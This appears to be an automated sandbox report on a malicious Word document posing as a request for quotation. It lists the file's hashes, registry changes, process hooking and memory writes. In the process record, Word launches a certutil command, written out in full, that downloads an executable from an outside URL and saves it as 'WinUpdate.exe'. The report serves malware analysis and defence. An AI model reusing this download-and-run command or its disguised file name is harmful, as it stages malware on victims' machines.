9e7f45fc3fe9b1849e1308f416aa57cf62588ca43359630649943b40fcf07856

Analysis

max time kernel
147s
max time network
43s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
30-09-2022 10:31

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General

Target

RFQ 80479040.doc
Size

62KB
MD5

6328c4a16d653cb10c3b042301b2d6c3
SHA1

4dba059a50044581f2741868ce850618a042f0b5
SHA256

9e7f45fc3fe9b1849e1308f416aa57cf62588ca43359630649943b40fcf07856
SHA512

6d46cc27a4786b0072f1a53cdbd6e3c42e646b6f441ef39eee0630e37863c90bf8c8e40ee026af7cd98ac14474ff96b787ccab941f995fd7db80d0dcc4c2725f
SSDEEP

384:OkUgY5j96eYPKNiaI1WAE7OCb8iSUR/8dEv8krqrf4INzte/DZeIESy3uGjGWi2S:OP5I5I/q/qsfZ3qHGjG/owKSqXI

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

certutil.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	888	1504	certutil.exe	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1504 WINWORD.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

WINWORD.EXE

pid process

1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE

pid	process
1504	WINWORD.EXE

pid	process
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1504 wrote to memory of 888	1504	WINWORD.EXE	certutil.exe
PID 1504 wrote to memory of 888	1504	WINWORD.EXE	certutil.exe
PID 1504 wrote to memory of 888	1504	WINWORD.EXE	certutil.exe
PID 1504 wrote to memory of 888	1504	WINWORD.EXE	certutil.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ 80479040.doc"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\certutil.exe
"C:\Windows\System32\certutil.exe" -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
2⤵
- Process spawned unexpected child process
PID:888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/888-59-0x0000000000000000-mapping.dmp

Download
memory/1504-54-0x0000000072C31000-0x0000000072C34000-memory.dmp

Filesize
12KB

Download
memory/1504-55-0x00000000706B1000-0x00000000706B3000-memory.dmp

Filesize
8KB

Download
memory/1504-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1504-57-0x00000000768A1000-0x00000000768A3000-memory.dmp

Filesize
8KB

Download
memory/1504-58-0x000000007169D000-0x00000000716A8000-memory.dmp

Filesize
44KB

Download
memory/1504-61-0x000000007169D000-0x00000000716A8000-memory.dmp

Filesize
44KB

Download